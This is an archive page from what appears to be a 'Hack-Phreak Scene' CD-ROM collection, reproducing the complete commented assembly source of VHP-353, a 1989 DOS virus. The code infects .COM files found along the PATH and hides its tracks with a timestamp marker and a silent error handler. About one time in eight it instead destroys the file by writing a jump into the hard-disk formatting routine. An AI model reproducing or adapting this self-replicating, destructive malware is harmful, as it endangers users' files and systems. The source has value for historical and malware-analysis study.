home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / VHP-353.ASM < prev    next >
Assembly Source File  |  1989-08-23  |  6KB  |  274 lines

  1.     page    ,132
  2.     name    VHP_353
  3.     title    Virus; based on the famous VHP-648 virus
  4.     .radix    16
  5.  
  6. code    segment
  7.     assume    cs:code,ds:code
  8.  
  9.     org    100
  10.  
  11. environ equ    2C
  12.  
  13. newjmp    equ    7Bh        ;Code of jmp instruction
  14. codeptr equ    7A        ;Here is formed a jump to the virus code
  15. pname    equ    78        ;Offset of file name in the dir path
  16. poffs    equ    76        ;Offset in the contents of the `PATH' variable
  17. errhnd    equ    74        ;Save place for the old error handler
  18. fname    equ    70        ;Path name to search for
  19. mydta    equ    2C        ;DTA for Find First/Next:
  20. attrib    equ    17        ;File attribute
  21. time    equ    16        ;File time
  22. date    equ    14        ;File date
  23. fsize    equ    12        ;File size
  24. namez    equ    0E        ;File name found
  25.  
  26. start:
  27.     jmp    short begin
  28.     nop
  29.     int    20
  30.  
  31. saveins db    3 dup (90)    ;Original first 3 bytes
  32.  
  33. begin:
  34.     call    virus        ;Detrmine the virus start address
  35.  
  36. data    label    byte        ;Data section
  37.  
  38. allcom    db    '*.COM',0       ;Filespec to search for
  39. pathstr db    'PATH='
  40.  
  41. ;This replaces the first instruction of a destroyed file.
  42. ;It's a JMP instruction into the hard disk formatting program (IBM XT only):
  43.  
  44. bad_jmp db    0EA,6,0,0,0C8
  45.  
  46. virus:
  47.     pop    bx        ;Make BX pointed at data
  48.     mov    di,offset start ;Push the program true start address
  49.     push    di        ; onto the stack
  50.     push    ax        ;Save AX
  51.  
  52.     cld
  53.     lea    si,[bx+saveins-data]    ;Original instruction saved there
  54.     movsw            ;Move 2 + 1 bytes
  55.     movsb
  56.     mov    si,bx        ;Keep SI pointed at data
  57.  
  58.     lea    bp,[bx+endcode-data+7A] ;Reserve local storage
  59.  
  60.     mov    ax,3524     ;Get interrupt 24h handler
  61.     int    21        ; and save it in errhnd
  62.  
  63.     mov    [bp-errhnd],bx
  64.     mov    [bp-errhnd+2],es
  65.  
  66.     mov    ah,25        ;Set interrupt 24h handler
  67.     lea    dx,[si+handler-data]
  68.     cmp    al,0        ;DOS < 2.0 zeroes AL
  69.     je    exit        ;Exit if version < 2.0
  70.     push    ds
  71.     int    21
  72.  
  73.     lea    dx,[bp-mydta]
  74.     mov    ax,1A00     ;Set DTA
  75.     int    21
  76.  
  77.     xor    di,di        ;Point ES:DI at the environment start
  78.     mov    es,ds:[di+environ]    ;Environment address
  79.     mov    bx,si
  80. search:             ;Search 'PATH' in the environment
  81.     lea    si,[bx+pathstr-data]
  82.     mov    cx,5        ;5 letters in 'PATH='
  83.     repe    cmpsb
  84.     je    pfound        ;PATH found, continue
  85.     mov    ch,80        ;Maximum 32 K in environment
  86.     repne    scasb        ;If not, skip through next 0
  87.     scasb            ;End of environment?
  88.     dec    di
  89.     jc    search        ;If not, retry
  90. pfound:
  91.     pop    es        ;Restore ES
  92.  
  93.     mov    [bp-poffs],di    ;Save 'PATH' offset in poffs
  94.     lea    di,[bp-fname]
  95.     mov    [bp-pname],di
  96.  
  97. filesrch:
  98.     lea    si,[bx+allcom-data]
  99.     movsw
  100.     movsw            ;Move '*.COM' at fname
  101.     movsw
  102.     mov    si,bx        ;Restore SI
  103.  
  104.     mov    ah,4E        ;Find first file
  105.     lea    dx,[bp-fname]
  106.     mov    cl,11b        ;Hidden, Read/Only or Normal files
  107.     jmp    short findfile
  108.  
  109. checkfile:
  110.     mov    al,[bp-time]    ;Check file time
  111.     and    al,11111b    ; (the seconds, more exactly)
  112.     cmp    al,62d/2    ;Are they 62?
  113.  
  114. ;If so, file is already contains the virus, search for another:
  115.  
  116.     je    findnext
  117.  
  118. ;Is 10 <= file_size <= 64,000 bytes?
  119.  
  120.     sub    word ptr [bp-fsize],10d
  121.     cmp    [bp-fsize],64000d-10d+1
  122.     jc    process     ;If so, process the file
  123.  
  124. findnext:            ;Otherwise find the next file
  125.     mov    ah,4F        ;Find next file
  126. findfile:
  127.     int    21
  128.     jnc    checkfile    ;If found, go chech some conditions
  129.  
  130. nextdir:
  131.     mov    si,[bp-poffs]    ;Get the offset in the PATH variable
  132.     lea    di,[bp-fname]    ;Point ES:DI at fname
  133.     mov    ds,ds:[environ] ;Point DS:SI at the PATH variable found
  134.     cmp    byte ptr [si],0 ;0 means end of PATH
  135.     jnz    cpydir
  136.  
  137. olddta:
  138.     mov    ax,2524     ;Set interrupt 24h handler
  139.     lds    dx,dword ptr [bp-errhnd]
  140.     int    21
  141.     push    cs
  142.     pop    ds        ;Restore DS
  143.  
  144. exit:
  145.     mov    ah,1A        ;Set DTA
  146.     mov    dx,80        ;Restore DTA
  147.     int    21
  148.  
  149.     pop    ax
  150.     ret            ;Go to CS:IP by doing funny RET
  151.  
  152. cpydir:
  153.     lodsb            ;Get a char from the PATH variable
  154.     cmp    al,';'          ;`;' means end of directory
  155.     je    enddir
  156.     cmp    al,0        ;0 means end of PATH variable
  157.     je    enddir
  158.     stosb            ;Put the char in fname
  159.     jmp    cpydir        ;Loop until done
  160. enddir:
  161.     push    cs
  162.     pop    ds        ;Restore DS
  163.     mov    [bp-poffs],si    ;Save the new offset in the PATH variable
  164.     mov    al,'\'          ;Add '\'
  165.     stosb
  166.     mov    [bp-pname],di
  167.     jmp    filesrch    ;And go find the first *.COM file
  168.  
  169. process:
  170.     mov    di,dx        ;[bp-pname]
  171.     lea    si,[bp-namez]    ;Point SI at namez
  172. cpyname:
  173.     lodsb            ;Copy name found to fname
  174.     stosb
  175.     cmp    al,0
  176.     jne    cpyname
  177.     mov    si,bx        ;Restore SI
  178.  
  179.     mov    ax,4301     ;Set file attributes
  180.     call    clr_cx_dos
  181.  
  182.     mov    ax,3D02     ;Open file with Read/Write access
  183.     int    21
  184.     jc    oldattr     ;Exit on error
  185.     mov    bx,ax        ;Save file handle in BX
  186.  
  187.     mov    ah,2C        ;Get system time
  188.     int    21
  189.     and    dh,111b     ;Are seconds a multiple of 8?
  190.     jnz    infect        ;If not, contaminate file (don't destroy):
  191.  
  192. ;Destroy file by rewriting the first instruction:
  193.  
  194.     mov    cx,5        ;Write 5 bytes
  195.     lea    dx,[si+bad_jmp-data]    ;Write THESE bytes
  196.     jmp    short do_write    ;Do it
  197.  
  198. ;Try to contaminate file:
  199.  
  200. ;Read first instruction of the file (first 3 bytes) and save it in saveins:
  201.  
  202. infect:
  203.     mov    ah,3F        ;Read from file handle
  204.     mov    cx,3        ;Read 3 bytes
  205.     lea    dx,[si+saveins-data]    ;Put them there
  206.     call    dos_rw
  207.     jc    oldtime     ;Exit on error
  208.  
  209. ;Move file pointer to end of file:
  210.  
  211.     mov    ax,4202     ;LSEEK from end of file
  212.     call    clr_dx_cx_dos
  213.  
  214.     mov    [bp-codeptr],ax ;Save result in codeptr
  215.  
  216.     mov    cx,endcode-saveins    ;Virus code length as bytes to be written
  217.     lea    dx,[si+saveins-data]    ;Write from saveins to endcode
  218.     call    dos_write    ;Write to file handle
  219.     jc    oldtime     ;Exit on error
  220.  
  221.     call    lseek        ;LSEEK to the beginning of the file
  222.  
  223. ;Rewrite the first instruction of the file with a jump to the virus code:
  224.  
  225.     mov    cl,3        ;3 bytes to write
  226.     lea    dx,[bp-newjmp]    ;Write THESE bytes
  227. do_write:
  228.     call    dos_write    ;Write to file handle
  229.  
  230. oldtime:
  231.     mov    dx,[bp-date]    ;Restore file date
  232.     mov    cx,[bp-time]    ; and time
  233.     or    cl,11111b    ;Set seconds to 62 (the virus' marker)
  234.  
  235.     mov    ax,5701     ;Set file date & time
  236.     int    21
  237.     mov    ah,3E        ;Close file handle
  238.     int    21
  239.  
  240. oldattr:
  241.     mov    ax,4301     ;Set file attributes
  242.     mov    cx,[bp-attrib]    ;They were saved in attrib
  243.     and    cx,3F
  244.     lea    dx,[bp-fname]
  245.     int    21        ;Do it
  246.     jmp    olddta        ;And exit
  247.  
  248. lseek:
  249.     mov    ax,4200     ;LSEEK from the beginning of the file
  250. clr_dx_cx_dos:
  251.     xor    dx,dx        ;From the very beginning
  252. clr_cx_dos:
  253.     xor    cx,cx        ;Auxiliary entry point
  254.     db    3Dh        ;Trick
  255. dos_write:
  256.     mov    ah,40        ;Write to file handle
  257. dos_rw:
  258.     int    21
  259.     jc    dos_ret     ;Exit on error
  260.     cmp    ax,cx        ;Set CF if AX < CX
  261. dos_ret:
  262.     ret
  263.  
  264. handler:            ;Critical error handler
  265.     mov    al,0        ;Just ignore the error
  266.     iret            ; and return
  267.  
  268.     db    0E9        ;The JMP opcode
  269.  
  270. endcode label    byte
  271.  
  272. code    ends
  273.     end    start
  274.